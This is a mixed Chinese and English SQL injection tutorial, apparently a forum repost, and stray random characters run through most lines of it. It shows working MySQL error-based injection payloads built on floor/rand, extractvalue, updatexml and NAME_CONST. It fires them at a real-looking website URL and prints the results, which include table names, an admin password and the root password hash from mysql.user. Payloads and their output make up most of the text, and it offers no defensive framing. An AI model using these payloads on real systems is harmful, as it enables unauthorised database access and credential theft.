|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:# x6 j- w' Q0 i; ?* H% ~
首先进行正常查询: mysql> select * from article where id = 1;& E9 y% T' B0 w- U
+—-+——-+———+- q; Y/ y$ l, i1 d! O% ^: T
| id | title | content |9 B$ p2 h* i3 s. ?. a% D$ B* L9 ]7 ^
+—-+——-+———+
$ e2 Q( }5 {+ n8 Q2 K| 1 | test | do it |7 }' j' z0 n( o. q1 i- z; x ]
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);% j$ s. D0 ?2 r" a
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
3 ] c {$ ^+ m& ]例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
2 x9 {4 ], {9 A7 Y3 n* i2 PERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
3 @+ `6 N, }2 g5 ]ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue7 X: X1 S5 J. ~' Z4 D2 a( ^
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
5 R1 r7 |; y _, l, ]% L6 z$ p6 c$ NERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ 4 Y: H$ z5 e: _- J- K& Y
, |- i" ~8 s' H" N0 ]" O8 t
再收集: + J1 G% b o, q/ t- `
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
% L( {& M4 W0 _% {3 G4 I# c/ t% Z/ m
Error uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’; u6 Z/ F0 @8 {- ^! A* T% m
4 i( L* M1 a2 D* {0 W* C+ N) D- Xhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)4 V4 l' _' T6 s& u
* j1 O( W9 V- y7 X- ]
Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
$ q( K& ~- @3 t1 Y
* X' A8 y) H Y1 _2 n9 |MYSQL高版本报错注入技巧-利用NAME_CONST注入
' Z) O: e+ K* P( sIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 8 ~; ~3 s4 y3 V
) Q1 L% g$ W+ [7 J h4 ~3 S* ~8 C, B
+ g, ?* ~6 K m& _7 h2 |
相关信息
8 J% ^. g* z2 Z6 J$ E% h1 D$ \; q
7 c& u7 `9 U) H0 |6 F( NNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.4 f& p7 ]( W0 o! Y: b
& ~" c+ o; D1 J# _, t+ S7 k" u3 t \1 PCode:' S4 t2 L5 \3 q2 ?" @2 k9 k: I! |/ v: a
NAME_CONST(DATA, VALUE)3 q. W) v7 t: J# Y/ X; T6 z. r
" T3 o: b+ v. e% Q3 F
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
5 |. A0 j, v$ _: j7 d: z J6 O
) E" x1 b0 H8 \SELECT NAME_CONST('TEST', 1)
5 Y5 P% d( {7 ]. r4 m6 J: _; I* Y" \& |( w1 ?
9 g- k( o# H! T! t
7 S9 Z: z1 c/ q1 f# }: F|---------------|7 V9 _! U3 e+ R: h
| TEST |; P+ y7 B6 m, x% n) Z) z
| |* C) Q W! i" W
|---------------|
! u6 j# }4 q$ L0 k: S| 1 |
2 V0 c2 d c2 L| |
1 y9 X' T& g9 i5 @; ]4 [4 e|---------------|( s4 \* j3 G6 g2 ]' u/ d* {# B$ p; t5 A
1 R- x6 Y1 \' y3 B
( ] ], w4 P* n" X5 ]/ Z' N' `+ G- K$ \( V8 x
0 C, m. y5 C N' @5 Uhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
1 y& y' Y# h% c) \: cIntro to MySQL Variables8 D/ @9 P* w+ \# W! { U# s
5 F9 q. k1 Z' g
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
% L! O$ i' Z7 t5 W, A
% k2 S6 t" q( [- d- ^Code:
6 D# X7 X; g9 T7 I Whttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261( C% e" \7 X: T' d& f% c' X
* J. Z7 E/ `( |) s2 c, z F. S& e6 P
2 e' e m0 b4 j9 D O. j" H, Y
1 [4 D( \3 T% E o4 e* g6 n/ L6 S: ^* V$ Z( r9 D1 Y6 J
" C& {0 t# u# N% ~( t& ?% g
Code:" d0 \; e' U& K9 P
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
( g4 U# f: L" p* I
4 j% V; N$ X8 Q+ Y- ] q7 d# x; c' H9 I: E3 C% _% }+ W
VAR = Your MySQL variable.& ?: Q/ P! F3 j! q6 V
& W% i! o( P6 I
MySQL 5.1.3 Server System Variables
0 V: K9 B+ s. C9 S( l; a/ A! a e2 ?! [7 k1 b+ e
Let's try it out on my site..
9 `4 U0 t# v1 r1 o, t
* I; X) `# P8 ^2 I: tCode:
O5 ?8 d/ c5 e' r. bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 V+ e; p5 P% `( S" n+ U
& }+ R1 j5 F1 w* SError uplicate column name '5.0.27-community-nt'/ U% S; H' D6 m4 [: N4 o
4 \" D4 m1 H/ K# W A! d5 t6 u
# T* }8 u3 j& m# n/ }
$ H2 c; u5 C7 S4 U- x F9 V$ n/ B% M
; Q: }$ q* d- |& z" @6 f1 r) z! ONow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
( i! x) R# [+ ?$ z# l2 q4 _* }7 w4 E
Data Extraction
& q; r# X" o, ^' S0 S9 }3 w$ Y. Z& j6 s! c0 J" [8 D
Code:) h+ A# r6 \/ F3 C; d9 l& L6 f
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--: c7 Q) {* w0 c1 ]
e0 U6 i( T7 }& l" n
8 g' R! X; u9 w4 o9 m; B
We should get a duplicate column 1 error...
( M5 d7 {9 D% b
$ N! B- N' G, P, xCode:
; e1 k# O+ y. @9 T. g* jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( a/ l3 G+ w1 ~4 }5 h2 u" p( p+ T& B: J9 t) N8 N
Error uplicate column name '13 B4 W8 A* f( N2 t; e) h
% u% s4 R. A4 j4 k- V% j
2 I. e; c" S! w/ I, Q1 P
/ y6 b }2 ], ]/ J& R, v+ z! X$ m% Z. S0 |2 r/ p, I. H
% A/ z7 O3 P2 l7 B
6 o$ X& t7 X$ ZNow let's get the tables out this bitch..3 E2 { V3 s0 z- y
/ T0 x4 r. @6 ]& I: iCode:. d- I$ ^0 {& U9 U& l0 C- x& l
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--6 h' t- A& U( y. g3 a, m: [: ?' s
! X. x, r x) s, f( m) r8 G! l' h
* v! _. ?: `( @4 V8 {6 R0 P$ b2 V
Let's see if it works here, if it does, we can go on and finish the job.
, _& w+ S B) O9 \
7 M# P: r0 @* r* \" M! u' rCode:0 h+ [- H2 l" {8 N. Y
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 t) I4 U; H( J' t) _5 N1 i
1 x$ k1 N! [: r. y: y
' u2 O6 \0 p( j& ^Error uplicate column name 'com_admanage
1 @( B$ s$ H6 k" B
2 j+ T3 A6 z; Y" C! ~) S! u
, D) h2 n& I0 y3 j. X
2 G: v" M% @& n* P4 O) R- R
2 x2 G- w/ \& ^& Y
3 N$ R" r& Y- k" f( |/ d; O
; W9 I2 T: m ^8 u6 H# zNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.# j! Q1 \& m& N k8 _& l3 a
: W! H* S6 _: s3 H
Let's get the columns out of the user table..
4 _; j( ^9 e3 b b5 R6 Z
7 f$ \& e# t+ Q$ G, c( B* ICode:
: x @+ i" U" M* M% L8 l, i+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
( W% q! b- {3 X6 {
/ ^; ~4 {1 r* A7 K) e
) x0 i8 ?- _! v* W1 y3 L8 W$ uSo mine looks like this, and I get the duplicate column name 'Host'.
B6 p- o8 L% g# Q, g
" K- y5 {; X; R& T$ tCode:* B+ y$ z5 M+ `8 `0 m9 v
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--% l, z. k6 F8 H( t2 l
2 J6 ^. } `: S) X S6 b3 e# e
Error uplicate column name 'Host'
8 m$ e4 {" U s6 d* W3 h5 d
" A! r4 E) z3 c
$ y! I9 P: d+ g& H5 C" \0 v
9 ]( P) z4 r- z- [
' y- Z- i' b, d% |0 o! w0 }' L, F" \
$ x1 x, [ m% E" H. EWoot, time to finish this bitch off.4 e& `' Z/ [7 n
" W# h. f$ f3 n9 j
Code:
) ^7 ^- m: `0 a$ a+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
2 i0 @3 D# T" e' g) g0 t8 {) i+ p# e9 u- E, i
5 i# V: C" f/ B& jSo mine looks like this...$ A7 A2 H; j+ X
f, L0 R8 x! p$ ^
Code:
8 M& g# [4 u' X3 J) bhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--+ x- R$ B6 d: [* ~, T
9 G! ~4 Z. V, C: @/ AError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
1 V% P: f _7 I- H( p) k
. ]) a7 j& M3 L0 V% Z- y1 w+ K0 H8 t6 s; b8 R2 @2 k
4 {; Y. B0 i2 X) ]$ v5 L
$ Y ^# [$ W/ S! K2 y
6 {7 b9 x& M8 a9 f
& m. ?- G+ N/ BAnd there we have it, thanks for reading.
% n! S; K4 C/ h: Q4 l. D
$ I" q: l7 X! ^& w0 D' X* f5 g |